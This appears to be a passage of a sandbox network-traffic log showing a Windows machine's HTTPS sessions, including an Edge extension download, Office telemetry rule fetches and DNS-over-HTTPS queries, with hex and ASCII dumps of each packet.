2024-11-11 18:52:20 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49785	142.250.186.129	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:20 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:20 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2257luI9LUvT9Hw1VaYpfWkl5otFTFoJ9XmvQcKrr4XR60EWpqofmtPE9m1BhiHfw1nKbIg2wjSg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 10 Nov 2024 20:33:29 GMT Expires: Mon, 10 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 80331 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-11 18:52:20 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-11 18:52:20 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-11 18:52:20 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-11 18:52:20 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-11 18:52:20 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-11 18:52:20 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-11 18:52:20 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-11 18:52:20 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-11 18:52:20 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-11 18:52:20 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:20 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 33d00c7b-501e-007b-28d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185220Z-174f7845968j6t2phC1EWRcfe800000005c000000000swd0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49795	162.159.61.3	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 18:52:21 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 18:52:21 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 18:52:21 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e107a99e8c0c33e-EWR alt-svc: h3=":443"; ma=86400
2024-11-11 18:52:21 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 18 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49796	162.159.61.3	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 18:52:21 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 18:52:21 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 18:52:21 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e107a99fd6680da-EWR alt-svc: h3=":443"; ma=86400
2024-11-11 18:52:21 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1a 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7eed3662-201e-003f-1ad5-336d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185221Z-174f7845968vqt9xhC1EWRgten000000059000000000rd6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49801	172.64.41.3	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:21 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 18:52:21 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 18:52:21 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 18:52:21 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e107a9abbe9c32f-EWR alt-svc: h3=":443"; ma=86400
